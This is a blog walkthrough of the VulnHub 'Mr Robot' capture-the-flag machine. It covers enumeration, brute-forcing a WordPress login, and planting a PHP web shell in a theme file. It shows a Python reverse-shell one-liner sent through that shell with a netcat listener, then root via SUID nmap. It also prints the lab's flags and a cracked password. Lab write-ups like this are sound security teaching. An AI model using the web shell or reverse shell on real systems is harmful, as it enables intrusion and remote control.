Home Mr Robot | Vuln Hub
Post
Cancel

Mr Robot | Vuln Hub

Hello Again! I am starting a series of writeups in which I’ll cover walkthroughs of VulnHub machines. The difficulties will range from Easy to Hard.

Task 1: Intro


Note: This machine is based on the popular TV show Mr. Robot. It is an easy-medium level boot2root challenge. It has three hidden keys that we need to find.

Task 2: Network and Host Enumeration


The first thing we need to do is to find the ip address assigned to the vulnerable machine. To find that, I’ll use netdiscover.

1
netdiscover -i [interface]

Once we get the ip address, we have to enumerate the machine for open ports. nmap

Task 3: Web Enumeration

From the results of the nmap, we discover that 2 ports are open among 3. We’ll see what is running on port 80 by visiting the site. It is running some mr-robot styled shell. We can find the directories and files found on the webserver by using gobuster, dirb or perhaps nikto.

assets

It looks like we have found our first key and a .dic file.

Flag 1 of 3: 073403c8a58a1f80d943455fb30724b9

Let’s find out the contents of the fsocity.dic file.

fsoc.dic

Seems like it contains a wordlist. Upon further investigation we find that it contains duplicate entries so we’ll just remove the repetitions and leave the unique entries so it takes less time to bruteforce.

During directory enumeration we found another interesting page on the webserver /wp-login.ph. It indicates that the server is running wordpress.

wp-login

We neither know the username nor the password but we are given a wordlist, so we use it to bruteforce the username and password field. ___

Task 4: Web Exploitation

I used burpsuite’s Intruder tab to first to find a valid username. Remember to put $ sign around the username field so the payload is placed here.

brute-burp

NOTE: First check what the login form returns on unsuccessful attempts, so we set that error message inside payload error section, so when the correct username is found we stop the intruder from further attempts.

username-found

Notice the length of the response on correct username (Elliot) is noticeably different from the failed attempts. Other than that, sometimes the status code, and error messages also tell us when we hit the correct payload.

Now that we have the username, I’ll use hydra to bruteforce the password field.

http-post-form command password-found

Hurrah! we have found the password: ER28-0652

Let’s enter the credentials in the login page.

Task 5: Template archive.php

We have to upload a payload to start a reverse shell. Navigate to Appearance->Editor->archive.php, and paste the following.

1
<?php passthru($_GET["cmd"]); ?>

This one-liner command creates a web shell. It gets the command from cmd parameter from the URL query string and passes it to passthru which executes system commands.

command

Use netcat to listen on anyport, 4444 in my case.

1
nc -lvnp 4444

We’ll visit the http://192.168.43.216/wp-includes/themes/TwentyFifteen/archive.php?cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ site in the browser which will spawn an interactive shell (reverse shell).

rev-shell

We are currently logged in as daemon. Do

1
ls -la

It’ll output an md5 hash file and 2nd key. We can not see the 2nd key because only user robot has the permission to view the file. So we need to escalate privileges.

The md5 hash contains the password for user robot so we put that hash into Crackstation. The password is

robot-passwd

Login as user robot and view the 2nd key.

robot-passwd

Flag 2 of 3: 822c73956184f694993bede3eb39f959

Task 6: Privilege Escalation - Getting root

The third key resides inside /root, so we need to switch to root. For that we first search for files with SUID (Set User ID) permissions set. Execute the following command which will do it.

1
find / -type f -perm -04000 -ls 2>/dev/null

nmap-suid

We need command execution as superuser, so we find nmap interesting here, further we go to GTFOBins to abuse this behaviour.

robot-passwd

Execute the commands one by one and we finally get a shell as root.

root

Navigate to /root/key-3-of-3.txt to get the 3rd and final key.

k3

Flag 3 of 3: 04787ddef27c3dee1ee161b21670b4e4

This post is licensed under CC BY 4.0 by the author.